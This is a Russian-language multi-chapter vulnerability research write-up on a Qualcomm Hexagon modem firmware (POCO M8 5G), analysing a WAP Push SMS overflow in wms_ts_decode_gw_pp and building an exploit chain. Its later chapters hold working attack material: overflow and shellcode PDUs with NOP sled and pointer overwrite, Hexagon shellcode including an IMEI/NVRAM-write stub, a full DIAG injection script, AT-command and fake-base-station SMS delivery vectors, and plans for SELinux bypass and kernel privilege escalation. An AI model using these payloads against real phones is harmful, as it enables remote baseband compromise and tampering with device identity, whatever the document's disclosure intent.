# [+] Dense ptr array at 0xbf421b78, 849 entries

Из таблицы следует путь к wms_ts_decode_gw_pp:

Code:
dispatch[N] → wms_msg_event_mt_message_handler (b08)
    → wms_ts_decode (b08, 0xbbd5xxxx)
        → wms_ts_decode_gw_pp (b08, 0xbbd70b48)

---

## 7.3 WAP Port Array

В b19 по адресу 0xbf2054c8 — отсортированный массив WAP-портов:

Code:
0xbf2054c8: 0x0b81
0xbf2054cc: 0x0b84  ← наш WAP Push порт
0xbf2054d0: 0x0b87
0xbf2054d4: ...

Это lookup-таблица для binary search. Функция в b08 проверяет dst_port через bsearch по этому массиву — именно так детектируется WAP Push.

Дизассем участка детекции (из главы 8):

Code:
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc  ; не WAP if high byte ≠ 0x0b

Быстрая первичная проверка по старшему байту порта (0x0b), затем точный поиск по таблице.

---

## 7.4 Строки в b24

В b24 (data) найдены строки связанные с WMS/ATP:

Bash:
strings -t x modem.elf | grep -E 'sms|wap|ota|diag' | head -20

Ключевые:

Code:
atp_sms_parse_msg_callback   ← callback регистрации в ATP
ds_atp_sms.c                 ← исходный файл (DP: ds = data services)
SMS message is too large!    ← строка error-пути (но мы видели что abort не вызывается)
BAD_OTA                      ← OTA validation error
WMS_TS_DECODE_GW_PP          ← имя функции в assert-строке

Строка "SMS message is too large!" находится в b24. Кросс-ссылка на неё ведёт в функцию которая вызывается из DIAG лог-пути по адресу 0xbbb02e80. Это подтверждает: лог есть, abort нет.

Строка "WMS_TS_DECODE_GW_PP" — часть assert-macro. Assert-macro при срабатывании вызвал бы ERR_FATAL. Но баг (bounds check fail → DIAG log → jump к success path) никогда не доходит до assert.

---

## 7.5 b27: magic check

По адресу 0xbbb162cc (b27) — функция с magic check:

Code:
0xbbb162cc: r2 = memuh(r16+#0x2a)    ; читает 2 байта из структуры + 0x2a
0xbbb162d0: p0 = cmp.eq(r2, ##0x7ab1e5e7)
0xbbb162d4: if (!p0) jump error_path

0x7ab1e5e7 — magic value. memuh(r16+#0x2a) — скорее всего порт или тип сообщения из WMS-структуры. Это security check? Нет — это validation cookie, используется как sanity check для WMS slot. При r16 = WAP_slot_ptr и offset 0x2a — проверяется что слот корректно инициализирован.

В harness_wms.S slot инициализируется нулями — magic check падает, функция уходит по error_path. Это значит что harness_wms.S вызывает не полный production path. Для полного воспроизведения нужно инициализировать *(slot + 0x2a) = 0x7ab1e5e7 перед вызовом.

---

## 7.6 Кандидаты на stack smash: функции с allocframe > 0x200

Два сегмента с крупными стековыми фреймами:

| Сегмент | Функций с allocframe > 0x200 |
|---------|------------------------------|
| b08 | 700 |
| b11 | 1408 |

Это кандидаты для stack-based overflow. Метод поиска:

Bash:
# Grep по дизассему: allocframe с аргументом > 0x200
objdump -d modem.elf | grep -B1 'allocframe' | \
  python3 -c "
import sys, re
for line in sys.stdin:
    m = re.search(r'allocframe\(#(0x[0-9a-f]+)\)', line)
    if m and int(m.group(1), 16) > 0x200:
        print(line.strip())
" | wc -l

1408 функций в b11 (SMS/QMI) — с большими фреймами и входными данными из QMI протокола. Это следующая область для исследования.

---

## 7.7 CFG вокруг bbd70b48

Сокращённый CFG wms_ts_decode_gw_pp от entry до бага:

Code:
0xbbd70b48  ENTRY
    │
    ▼
0xbbd70b60  parse SMSC length
    │
    ▼
0xbbd70b80  parse TP-flags, check UDHI
    │
    ├─[no UDHI]──────────────────────────────┐
    │                                        │
    ▼                                        │
0xbbd70ba0  parse UDH loop                  │
    │                                        │
    ├─[IEI != 0x05]──→ next IE              │
    │                                        │
    ▼                                        │
0xbbd70cf4  check port high byte            │
    │                                        │
    ├─[r3 != 0x0b]───────────────────────────┤
    │                                        │
    ▼                                        │
0xbbd70d00  binary search in port array      │
    │                                        │
    ├─[port not found]────────────────────────┤
    │                                        │
    ▼                                        │
0xbbd70d84  ← BOUNDS CHECK (THE BUG)        │
    │  cmph.gtu(r24, ##0x8c)                │
    │                                        │
    ├─[r24 > 140]──→ 0xbbd70dac DIAG log    │
    │                    │                   │
    │                    ▼                   │
    │               0xbbd70db0              │
    │                    │                   │
    │    ┌───────────────┘                   │
    │    │                                   │
    └────┴──→ 0xbbd70dc8  ← SUCCESS PATH ←──┘
                 │
                 ▼
             memcpy(wap_buf, payload, r24)   ← ALWAYS EXECUTES

Ключевое: ветка fail (r24 > 140) и ветка pass (r24 ≤ 140) обе идут в 0xbbd70dc8. После DIAG лога 0xbbd70dac — jump 0xbbd70dc8. Copy выполняется при любом значении r24.

---

## 7.8 Backward slice для r24 в 0xbbd70d84

Вопрос: откуда берётся r24 в момент проверки cmph.gtu(r24, ##0x8c)?

Backward slice (ручной, по дизассему):

Code:
0xbbd70d84: cmph.gtu(r24, ##0x8c)
    ← r24 установлен где-то выше

0xbbd70d70: r24 = memb(r21+#0x1)
    ← r21 — указатель на UDH+payload область

0xbbd70ba0: r21 = r18 + udh_len + 1
    ← r18 — указатель на user_data

0xbbd70b60: r18 = r0 + smsc_len + 1  ← r0 = входной буфер
    ← r0 — первый аргумент wms_ts_decode_gw_pp

Итог backward slice:

Code:
r24 = *(входной_буфер + smsc_len + 1 + udh_len + 1 + 1)
    = tp_udl - udh_overhead

r24 полностью контролируется атакующим через поле tp_udl во входном PDU. Нет промежуточной санитизации между чтением из буфера и проверкой в 0xbbd70d84.

---

## 7.9 UDL gap: второй backward slice

По адресу 0xbbd20808 — отдельная проверка:

Code:
0xbbd20808: p0 = cmp.gtu(r20, #0xa0)
0xbbd2080c: if (p0) jump error_path

Backward slice для r20:

Code:
0xbbd20808: cmp.gtu(r20, #0xa0)
    ← r20 = tp_udl (читается напрямую из PDU байта)

Порог: 0xa0 = 160. tp_udl ≤ 160 → проходит. Но WAP буфер = 140 байт. Для tp_udl в диапазоне 141–160: UDL check молчит, bounds check в 0xbbd70d84 тоже не прерывает (DIAG + jump к success). Overflow гарантирован.

Это два независимых бага, оба нужны для полной картины:
  • 0xbbd70d84 — сломанный bounds check (не abort)
  • 0xbbd20808 — неправильный порог UDL (160 вместо 140)

---

## 7.10 Инструменты использованные при анализе

Bash:
# Загрузка в Ghidra
# Language: Hexagon:LE:32:v5:default (ближайший к v73)
# Адрес загрузки: 0xbbd20000 для b08

# Поиск dispatch table
python3 find_dispatch.py modem_b08.bin --base 0xbbd20000

# Дизассем конкретного адреса
objdump -D --start-address=0xbbd70b48 --stop-address=0xbbd70e00 \
  -m hexagon modem_b08.bin

# Поиск строк с адресами
strings -t x modem_b08.bin | grep -i "wap\|sms\|ota"

# Поиск XREFs на строку "SMS message is too large"
r2 modem_b08.bin -q -c '/iz SMS message is too large'

---

Следующая глава — нахождение и верификация уязвимости: полный дизассем бага.


ewpage

# Глава 8. POCO M8 5G: нахождение и верификация уязвимости

by progasm

---

Статус главы: Всё описанное основано на статическом анализе прошивки MPSS.DE.3.1.4.c1-00319 и эмуляции в qemu-hexagon usermode. На реальном устройстве POCO M8 5G верификация не проводилась.

## 8.1 Цель

Device: POCO M8 5G (kunzite) 
SoC: Snapdragon 6 Gen 3 (SM6475), платформа parrot 
Прошивка: MPSS.DE.3.1.4.c1-00319 
Цель: wms_ts_decode_gw_pp в b08, адрес 0xbbd70b48

Уязвимость: bounds check в WAP Push парсере не прерывает исполнение — обе ветки (pass и fail) сходятся в одной точке. Copy выполняется при любом размере payload.

---

## 8.2 Как нашли WAP Push handler

Поиск начался с байтового паттерна. WAP Push порт 0x0B84 — в hex это 0b 84. Ищем в b08:

Bash:
# Поиск байтов 0x0b 0x84 в сегменте b08
python3 -c "
data = open('modem_b08.bin','rb').read()
base = 0xbbd20000
off  = 0
while True:
    pos = data.find(b'\x0b\x84', off)
    if pos < 0: break
    print(f'  0x{base+pos:08x}: {data[pos-4:pos+8].hex()}')
    off = pos + 1
"

Один из хитов — в коде функции по 0xbbd70cf4:

Code:
bbd70cf2: r3 = ...
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc

Значение #0x0b — старший байт порта 0x0B84. Это быстрый фильтр: если byte[2] UDH-данных не равен 0x0b — пропускаем WAP ветку. Затем идёт точная проверка по таблице 0xbf2054c8.

От этой точки к функции — шаг вверх по CFG к allocframe. Это 0xbbd70b48.

---

## 8.3 Дизассем wms_ts_decode_gw_pp

Полный путь от entry до бага:

Code:
bbd70b48:  { allocframe(#0x68) }
bbd70b4c:  { r16 = r0; r17 = r1 }          ; r0=buf_ptr, r1=buf_len
bbd70b50:  { r18 = memb(r16+#0x0) }        ; smsc_len = buf[0]
bbd70b54:  { r19 = r18 + #1 }              ; skip smsc
bbd70b58:  { r20 = memb(r16+r19) }         ; tp_udl (первый байт user_data)

; === UDL check в вызывающей (0xbbd20808) ===
; здесь уже прошли: cmp.gtu(r20, #0xa0) — пропустили если ≤ 160

; tp_flags = buf[1]
bbd70b5c:  { r21 = memb(r16+#0x1) }

; проверка UDHI бита
bbd70b60:  { p0 = tstbit(r21, #6) }
bbd70b64:  { if (!p0) jump 0xbbd70d90 }    ; нет UDHI → прыжок мимо WAP

; парсим UDH
bbd70b68:  { r22 = r19 + #1 }              ; user_data offset
bbd70b6c:  { r23 = memb(r16+r22) }         ; udh_len
bbd70b70:  { r24 = r20 - r23 - #1 }        ; wap_payload_len = tp_udl - udh_len - 1

; цикл по IE элементам UDH — поиск IEI=0x05 (Application Port)
; ... (опущено: ~15 инструкций цикла)

; когда нашли IEI=0x05:
bbd70cf4:  { r3 = memb(r21+#0x2) }         ; dst_port high byte
bbd70cf8:  { if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc }  ; ≠ 0x0b → не WAP

; полная проверка порта через b19 таблицу
bbd70cfc:  { r4 = memuh(r21+#0x2) }        ; dst_port = 16-bit
bbd70d00:  { call bsearch_port_table }      ; поиск в 0xbf2054c8
bbd70d04:  { if (r0 == #0) jump 0xbbd70dcc }  ; не найден → не WAP

; =========================================
; BOUNDS CHECK — THE BUG
; =========================================
bbd70d84:  { p0 = cmph.gtu(r24, ##0x8c) }  ; r24 vs 0x8c = 140
bbd70d88:  { if (!p0.new) jump:nt 0xbbd70dc8 }
           ;   ↑ если r24 ≤ 140 → прыжок на SUCCESS PATH 0xbbd70dc8
           ; если r24 > 140 → fall-through:

bbd70d8c:  { r2 = ##wap_buf_addr }          ; 0xc2a78ad8
bbd70d90:  { r3 = r24 }                     ; size = r24 (> 140!)
bbd70d94:  { r1 = r21 }                     ; src = payload ptr
bbd70d98:  { r0 = r2 }                      ; dst = wap_buf
; ... prepare DIAG log args
bbd70dac:  { call 0xbbb02e80 }              ; DIAG log — НЕ ABORT
bbd70db0:  { jump 0xbbd70dc8 }              ; ← прыжок на SUCCESS PATH

; SUCCESS PATH
bbd70dc8:  { r0 = ##wap_buf_addr }          ; dst
bbd70dcc:  { r1 = r21 }                     ; src = payload ptr
bbd70dd0:  { r2 = r24 }                     ; size = r24 (неограничен!)
bbd70dd4:  { call memcpy }                  ; ← ВСЕГДА ВЫПОЛНЯЕТСЯ

Суть бага: инструкция в 0xbbd70d88 — if (!p0.new) jump:nt 0xbbd70dc8 — это условный переход если r24 ≤ 140. При r24 > 140 переход не берётся, но fall-through ведёт к DIAG логу, который затем сам прыгает в 0xbbd70dc8. То же самое место куда прыгает success path. Разница между ветками: в fail-ветке вызывается DIAG лог. memcpy выполняется в обоих случаях с r24 без ограничений.

---

## 8.4 Инструкция cmph.gtu

cmph.gtu(r24, ##0x8c) — Hexagon-специфичная инструкция:

  • cmph — compare half-word (16-bit), но работает с 32-bit регистром
  • gtu — greater than unsigned
  • Результат в предикат p0
  • ##0x8c = 140 (immediate через double-IMM encoding)

Для r24 = 141: cmph.gtu(141, 140) → p0 = 1 (true). 
if (!p0.new) jump → если НЕ true → не прыгаем. Т.е. при r24 > 140 мы остаёмся в fall-through → DIAG → jump 0xbbd70dc8.

Для r24 = 139: cmph.gtu(139, 140) → p0 = 0 (false). 
if (!p0.new) jump → если не false → прыгаем в 0xbbd70dc8 напрямую.

В обоих случаях попадаем в 0xbbd70dc8.

---

## 8.5 UDL gap: 0xbbd20808

Второй баг в вызывающем контексте:

Code:
bbd20808:  { p0 = cmp.gtu(r20, #0xa0) }    ; tp_udl > 160?
bbd2080c:  { if (p0) jump error_path }      ; только > 160 отвергается

Диапазон 141–160 (0x8d–0xa0) проходит эту проверку молча.

При tp_udl = 160, UDH = 7 байт: wap_payload_len = 160 - 7 = 153. Overflow: 153 > 140.

При tp_udl = 141, UDH = 7 байт: wap_payload_len = 134. Нет overflow (134 < 140). Но при UDH = 6 байт: 141 - 6 = 135 < 140. UDL gap начинается когда tp_udl - udh_overhead > 140.

Реальная точка входа в UDL gap: tp_udl ≥ 148 при UDH = 7, или tp_udl ≥ 147 при UDH = 6.

---

## 8.6 PoC PDU

### 02_wap_push_valid.pdu — контрольный (не крашит)

Code:
04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74

Разбор: tp_udl=0x12=18, UDH=7 байт, payload=11 байт, dst_port=0x0B84. 11 < 140 → нет overflow.

### 03_wap_overflow.pdu — переполнение на 3 байта

Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  (×8.5 строк = 136 байт)
41 41 41 41 41 41 41 41

tp_udl = 0x8f = 143. UDH = 7 байт. payload = 136. Нет overflow (136 < 140). Фаззер мутирует 0x8f → 0x93 (147): payload = 140 → граница. 0x94 (148): payload = 141 → overflow 1 байт.

Для явного overflow 3 байта: tp_udl = 0x96 = 150, payload = 143.

Hex для tp_udl=0x96:

Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 96 06 05 04 0b 84 12 34
[143 байта 0x41]

---

## 8.7 Верификация через qemu-hexagon

Прямая эмуляция с harness_wms.S:

Bash:
# Собираем harness (патчит b27, вызывает реальный 0xbbd70b48)
clang-20 -target hexagon-unknown-linux-musl -nostdlib -static \
         -o /tmp/harness_wms_hex harness_wms.S

# Контрольный тест — valid WAP Push
qemu-hexagon /tmp/harness_wms_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?"   # должен быть 0

# Overflow тест
python3 -c "
import struct
# tp_udl = 150, UDH port 0x0B84, 143 байта 0x41
hdr = bytes([0x01, 0x00, 0x40, 0x06, 0x91, 0x55, 0x44, 0x33,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x96, 0x06, 0x05, 0x04, 0x0b, 0x84, 0x12, 0x34])
payload = b'\x41' * 143
import sys; sys.stdout.buffer.write(hdr + payload)
" | qemu-hexagon /tmp/harness_wms_hex
echo "exit: $?"   # 139 = SIGSEGV при наличии null deref detector

---

## 8.8 Ожидаемое поведение (статический анализ + эмуляция)

Статус: На реальном устройстве не проверялось. Вся верификация — через статический анализ прошивки и qemu-hexagon эмуляцию.

В эмуляции (qemu-hexagon): harness с null deref детектором даёт SIGSEGV при wap_copy_len > 140. Реальная функция прошивки вызывается в harness_wms.S с реальными байтами b08.

Что предполагается на реальном устройстве по результатам статического анализа:

memcpy(0xc2a78ad8, payload_ptr, 143) запишет 3 байта за пределы WAP буфера. По адресу 0xc2a78ad8 + 140 = 0xc2a78b64 — соседние поля WMS BSS структуры. Конкретно что там (next_slot_ptr, callback, или padding) — требует дальнейшего статического анализа BSS инициализации.

При tp_udl = 237 (AFL++ краш): overflow = 237 - 7 - 140 = 90 байт через несколько указателей WMS структуры. На устройстве ожидается MPSS subsystem restart:

Bash:
# Ожидаемый dmesg на устройстве (НЕ ПРОВЕРЯЛОСЬ):
# [  xxx.xxxxxx] msm_subsystem_restart: Restart sequence requested for modem
# [  xxx.xxxxxx] subsys-restart: Restarting modem

---

## 8.9 Timeline

Code:
2026-01-xx  Получена прошивка MPSS.DE.3.1.4.c1-00319
2026-02-xx  Идентифицированы сегменты b08/b11/b27/b19
2026-02-xx  Поиск по 0x0b 84 → нашли WAP handler в 0xbbd70cf4
2026-02-xx  Дизассем вверх → wms_ts_decode_gw_pp @ 0xbbd70b48
2026-03-xx  Анализ 0xbbd70d84: обе ветки → 0xbbd70dc8 (баг подтверждён)
2026-03-xx  Обнаружен UDL gap в 0xbbd20808 (160 вместо 140)
2026-03-xx  Построен sms_harness.c, первый AFL++ краш за 31ms
2026-04-xx  harness_wms.S: верификация на реальном коде прошивки
2026-05-xx  Exploit chain (глава 9)

---

Следующая глава — exploit chain: shellcode, PDU layout, векторы инъекции.


ewpage

# Глава 9. Exploit Chain: shellcode, PDU, векторы инъекции

by progasm

---

## 9.1 Контекст исполнения

wms_ts_decode_gw_pp выполняется в QuRT task context WMS (Wireless Messaging Service). QuRT — RTOS модемного DSP, запущенного на Hexagon V73. Привилегии: DSP supervisor mode, доступ ко всем WMS структурам, DIAG, QMI, RPC каналам в MPSS.

При переполнении WAP буфера (0xc2a78ad8, 140 байт) мы пишем за его пределами в BSS WMS структур. Что именно там — зависит от смещения. При overflow ≥ 4 байта можем перезаписать указатель, который WMS дереференсирует позже.

Цель: перезаписать указатель функции или callback ptr так, чтобы при следующем WMS event управление перешло на shellcode.

---

## 9.2 Shellcode: _sc_crash

Простейший shellcode — crash для верификации. Записывает в null address → Hexagon data abort → modem subsystem restart.

Исходник (hex_shellcode.S):

Code:
_sc_crash:
    allocframe(#0x8)          ; создаём минимальный фрейм
    r0 = #0x0                 ; r0 = NULL
    memw(r0+#0x0) = r0        ; NULL write → data abort
    deallocframe
    jumpr r31

Собранный бинарь:

Code:
01 c0 9d a0   allocframe(#0x8)
00 c0 00 78   r0 = #0x0
00 c0 80 a1   memw(r0+#0x0) = r0
1e c0 1e 90   deallocframe
00 c0 9f 52   jumpr r31

Всего 20 байт. Эффект: Hexagon data abort в WMS QuRT task → MPSS subsystem restart.

Верификация:

  • В эмуляции (проверено): harness_wms.S + qemu-hexagon → SIGSEGV при overflow
  • На устройстве (не проверялось): ожидается MPSS subsystem restart

Bash:
# Ожидаемый вывод на реальном устройстве (НЕ ПРОВЕРЯЛОСЬ):
# adb shell dmesg | grep -E 'subsys.restart|MPSS|ssr_notify|modem'
# [  xxx.xxxxxx] subsys-restart: Restarting modem subsystem
# [  xxx.xxxxxx] msm_ssr_notify: Modem crashed

---

## 9.3 PDU с shellcode: 03_wap_shellcode.bin

Полный hex:

Code:
04 00 01 00
01 c0 9d a0 00 c0 00 78 00 c0 80 a1 1e c0 1e 90 00 c0 9f 52
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
80 80 a7 c2
00

Разбор layout:

Code:
Offset  Размер  Содержимое
0x00    4       Header: smsc_len=04, flags=00, tp_udl=01, udh=00
                (упрощённый формат для DIAG инъекции)

0x04    20      Shellcode (_sc_crash):
                01 c0 9d a0  allocframe(#0x8)
                00 c0 00 78  r0 = #0x0
                00 c0 80 a1  memw(r0+#0x0) = r0   ← crash
                1e c0 1e 90  deallocframe
                00 c0 9f 52  jumpr r31

0x18    100     NOP sled: 25 × { nop } пакетов
                { nop } = 00 40 00 7f (4 байта)

0x7c    80      Filler: 20 × 0x41 ('A')
                (заполняет оставшееся место до offset 140)

0xcc    4       Ptr overwrite: 80 80 a7 c2
                LE = 0xc2a78080 (wap_buf_addr начало)
                Перезаписывает pointer по offset 140

0xd0    1       Trailing: 00

Итого payload после UDH: 140 байт fills + 4 байта ptr overwrite + 1 = 145 байт. tp_udl должен быть выставлен соответственно.

Идея: при overflow данные кладутся в WAP буфер начиная с 0xc2a78ad8. Payload после offset 140 (0xc2a78ad8 + 140 = 0xc2a78b64) перезаписывает то что находится в BSS за буфером. Если там pointer — он заменяется на 0xc2a78080 (начало WAP буфера, где лежит shellcode + NOP sled).

При следующем WMS event который дереференсирует этот pointer: управление идёт в shellcode.

---

## 9.4 Точный ptr overwrite

Статус: Это предположение по статическому анализу. Структура BSS за 0xc2a78b64 не верифицирована. Требует дополнительного реверса BSS-инициализации.

WAP буфер: 0xc2a78ad8, размер 140. Конец: 0xc2a78ad8 + 140 = 0xc2a78b64.

По статическому анализу BSS: за WAP буфером находятся поля WMS структуры. Предположительно — callback указатель или поле next_slot_ptr. Конкретное поле не установлено — нужен реверс инициализации wms_msg_s_type в b08.

Если по 0xc2a78b64 лежит указатель функции вызываемый WMS при следующем событии:

  • Overwrite: 0xc2a78b64 ← 0xc2a78ad8 (начало WAP буфера где наш shellcode)
  • В LE байты: d8 8a a7 c2

Shellcode лежит в начале WAP буфера: 0xc2a78ad8. NOP sled следует за shellcode.

PDU в §9.3 использует 0xc2a78080 как ptr overwrite target — это адрес в BSS ниже буфера, который тоже может быть предварительно заполнен shellcode через другой WAP message. Оба варианта не верифицированы на устройстве.

Практический следующий шаг: статический анализ инициализации BSS 0xc2a78000 в b08 — найти все записи типа memw(addr) = ptr_to_func.

---

## 9.5 Три вектора инъекции

Статус всех векторов: код написан и проверен синтаксически. На реальном устройстве ни один вектор не запускался.

### Вектор 1: DIAG

Самый простой если есть доступ к /dev/diag.

Bash:
# Требуется: root или членство в группе diag (UID 1000 не достаточно)
# Проверка доступа (на устройстве не проверялось):
ls -la /dev/diag
# crw-rw---- 1 root diag 237, 0 ...
id  # должен быть diag в группах

DIAG пакет для инъекции WMS PDU:

Code:
DIAG_SUBSYS_CMD_F (0x4B)
+ Subsystem ID: WMS = 0x19
+ Command: WMS_DIAG_SUBMIT_REQ = 0x01
+ PDU data: [наш shellcode PDU]

Python:
#!/usr/bin/env python3
# diag_inject_pdu.py

import struct
import os

def hdlc_encode(data: bytes) -> bytes:
    """HDLC framing для DIAG"""
    out = bytearray([0x7e])  # start flag
    crc = calc_crc16(data)
    payload = data + struct.pack('<H', crc)
    for b in payload:
        if b == 0x7e:
            out += b'\x7d\x5e'
        elif b == 0x7d:
            out += b'\x7d\x5d'
        else:
            out.append(b)
    out.append(0x7e)  # end flag
    return bytes(out)

def calc_crc16(data: bytes) -> int:
    crc = 0xffff
    for b in data:
        crc ^= b
        for _ in range(8):
            if crc & 1:
                crc = (crc >> 1) ^ 0x8408
            else:
                crc >>= 1
    return crc ^ 0xffff

# Читаем shellcode PDU
with open('seeds/03_wap_shellcode.bin', 'rb') as f:
    pdu = f.read()

# Строим DIAG WMS Submit Request
diag_pkt = bytes([
    0x4b,        # DIAG_SUBSYS_CMD_F
    0x19, 0x00,  # subsystem WMS (little-endian)
    0x01, 0x00,  # WMS_DIAG_SUBMIT_REQ
]) + pdu

# HDLC encode
framed = hdlc_encode(diag_pkt)

# Отправляем в /dev/diag
with open('/dev/diag', 'wb') as diag:
    diag.write(framed)

print(f"[*] Отправлено {len(framed)} байт в /dev/diag")
print("[*] Ждём subsystem restart...")

Bash:
# На устройстве не запускалось. Ожидаемый вывод:
# python3 diag_inject_pdu.py
# [*] Отправлено 47 байт в /dev/diag
# [*] Ждём subsystem restart...
# dmesg | tail -5
# subsys-restart: Restarting modem

### Вектор 2: OTA (Over-The-Air)

Статус: Не тестировался. Описание основано на стандарте 3GPP SMS delivery и архитектуре WMS — без верификации на реальной сети.

Без root, без USB. Специально сформированный WAP Push SMS отправляется через SMSC или femtocell.

Путь по стандарту: SMSC → LTE/NAS → MPSS baseband → WMS → wms_ts_decode_gw_pp. SMS принимается устройством, баг триггерится на уровне MPSS без взаимодействия с ARM.

Требования:
  • Доступ к SMSC (оператор, тестовый аккаунт, или femtocell)
  • Или SDR с srsRAN / OpenBTS для создания фейкового base station

Bash:
# Через AT команды на тестовом стенде (femtocell):
# Отправляем PDU напрямую через AT+CMGS
echo -e 'AT+CMGF=0\r' > /dev/ttyHS0
echo -e "AT+CMGS=$(( ${#PDU_HEX}/2 ))\r${PDU_HEX}\x1a" > /dev/ttyHS0

OTA вектор — единственный zero-interaction вектор. Устройство не должно быть разблокировано или рутовано. Уязвимость триггерится при приёме SMS.

### Вектор 3: AT+CMGS (PDU mode)

Bash:
# Требуется доступ к /dev/ttyHS0 — группа dialout или root
ls -la /dev/ttyHS0
# crw-rw---- 1 root dialout ...

# PDU mode
echo -e "AT+CMGF=0\r" > /dev/ttyHS0
sleep 0.1
cat /dev/ttyHS0  # должно вернуть OK

# Длина PDU в байтах (без SMSC)
PDU_LEN=XX
PDU_HEX="0491112233400691103254000010601231728000XX..."

echo -e "AT+CMGS=${PDU_LEN}\r${PDU_HEX}\x1a" > /dev/ttyHS0

AT+CMGS работает через RIL → WMS stack. PDU проходит полный путь декодирования включая wms_ts_decode_gw_pp.

---

## 9.6 Что происходит после исполнения shellcode

_sc_crash — proof-of-concept. В контексте MPSS QuRT task у shellcode есть:

  • Доступ ко всем WMS BSS структурам: читаем/пишем SMS, контакты, настройки
  • Доступ к QMI каналам: инициируем QMI запросы от имени модема
  • Доступ к DIAG: читаем/пишем NVRAM (IMEI, security keys, calibration data)
  • SMEM доступ: Qualcomm SMEM (smem_alloc) — разделяемая память между MPSS, CDSP и ARM

### NVRAM write примитив

IMEI и network credentials хранятся в NVRAM. Запись через nv_write_item:

Code:
; Hexagon shellcode: nv_write_item(NV_ESN_ME_I, &data)
_sc_nvram_write:
    allocframe(#0x10)
    ; NV_ESN_ME_I = 0 (ESN/IMEI item)
    r0 = #0x0
    ; data ptr (в стеке)
    r1 = r29
    ; value = 0xDEADBEEF (proof)
    memw(r29+#0x0) = ##0xdeadbeef
    call ##nv_write_item_addr    ; адрес из b11
    deallocframe
    jumpr r31

### FastRPC к CDSP (следующий этап)

Из MPSS через SMEM можно подготовить данные которые читает CDSP-сервис. Полный путь MPSS → CDSP → kernel LPE описан в Главе 10.

---

## 9.7 TODO (из EXPLOIT_STATUS.md)

### Сделано

  • [x] Идентификация wms_ts_decode_gw_pp @ 0xbbd70b48
  • [x] Анализ бага 0xbbd70d84: обе ветки → 0xbbd70dc8
  • [x] UDL gap: 0xbbd20808, порог 160 vs 140
  • [x] sms_harness.c: AFL++ кампания, 25601 крашей, unique=1
  • [x] harness_wms.S: патч b27, верификация реального кода
  • [x] _sc_crash shellcode: 20 байт, Hexagon null write
  • [x] PDU 03_wap_shellcode.bin: shellcode + NOP sled + ptr overwrite
  • [x] DIAG инъекция: diag_inject_pdu.py

### В работе

- [ ] Точный offset до ptr в WMS BSS после 0xc2a78ad8 + 140
  - Нужно: реверс структуры wms_msg_s_type полностью
  - Метод: статический анализ BSS инициализации в b08

- [ ] Верификация ptr overwrite на устройстве (не crash → controlled RIP)
  - Нужно: rooted device + DIAG доступ
  - Статус: устройство available, DIAG — нужна группа

- [ ] Shellcode для LPE: запись в NVRAM (IMEI overwrite как proof)
  - Нужно: написать Hexagon shellcode для nv_write_item
  - Функция nv_write_item в b11: найдена по строкам

- [ ] Coverage-guided фаззинг b11 (1408 функций с allocframe > 0x200)
  - Нужно: отдельный harness для QMI dispatcher
  - Потенциал: найти дополнительные overflow в SMS/QMI path

- [ ] OTA верификация на реальной сети
  - Нужно: тестовая SIM + оператор с API или femtocell

---

## 9.8 Ответственное раскрытие

Qualcomm PSIRT: [email protected].

Затронутые компоненты:
  • wms_ts_decode_gw_pp — bounds check не abort (критический)
  • UDL gate 0xbbd20808 — неправильный порог (дополнительный)

Прошивка: MPSS.DE.3.1.4.c1-00319, устройство POCO M8 5G.

Timeline до публикации: 90 дней от даты уведомления.

---

Hexagon QDSP6 остаётся недоисследованной площадкой. b11 — 1408 кандидатов. Копай дальше.


ewpage

# Глава 10. LPE через FastRPC: анализ skel-библиотек

by progasm

---

## 10.1 Архитектура атаки

Цепочка WMS exploit даёт RCE на MPSS DSP. Следующий уровень — Linux kernel privilege escalation. Путь к нему лежит через FastRPC — механизм Remote Procedure Call между ARM (HLOS) и Hexagon DSP.

Code:
[ADB shell uid=2000]
        │
        ▼
  /dev/fastrpc-cdsp  ←── SELinux BLOCK (u:r:shell→vendor_qdsp_device)
        │
        │  (обход: через binder-сервис или app-контекст)
        ▼
  kernel fastrpc driver (msm_fastrpc)
        │
        ▼
  DSP fastrpc_shell_3    ← загружает skel .so в DSP user PD
        │
        ▼
  skel_handle_invoke(_h, _sc, _pra)   ← atack surface
        │
        ▼
  [RCE на DSP] → shared memory corruption → kernel LPE

Модель угрозы: атакующий с uid=2000 (adb shell) или любым app-контекстом имеющим доступ к CDSP хочет выполнить код в DSP user PD, затем через shared memory corruption или QDI syscall перейти в kernel.

---

## 10.2 SELinux барьер и пути обхода

### Состояние устройства

Bash:
adb shell ls -la /dev/fastrpc-cdsp
# crw-rw-r-- system system 507, 3 2026-05-09 /dev/fastrpc-cdsp

adb shell id
# uid=2000(shell) gid=2000(shell) groups=...

| Узел | DAC | SELinux тип | Доступен из shell? |
|------|-----|-------------|-------------------|
| /dev/fastrpc-cdsp | crw-rw-r-- system system | vendor_qdsp_device | EACCES |
| /dev/fastrpc-adsp-secure | crw-r--r-- system system | — | EACCES |

u:r:shell:s0 не имеет SELinux allow-правила для vendor_qdsp_device:chr_file { open read write ioctl }. Прямой open("/dev/fastrpc-cdsp", O_RDWR) блокируется.

### Пути обхода

1. cdsprpcd binder-сервис (приоритет 1):

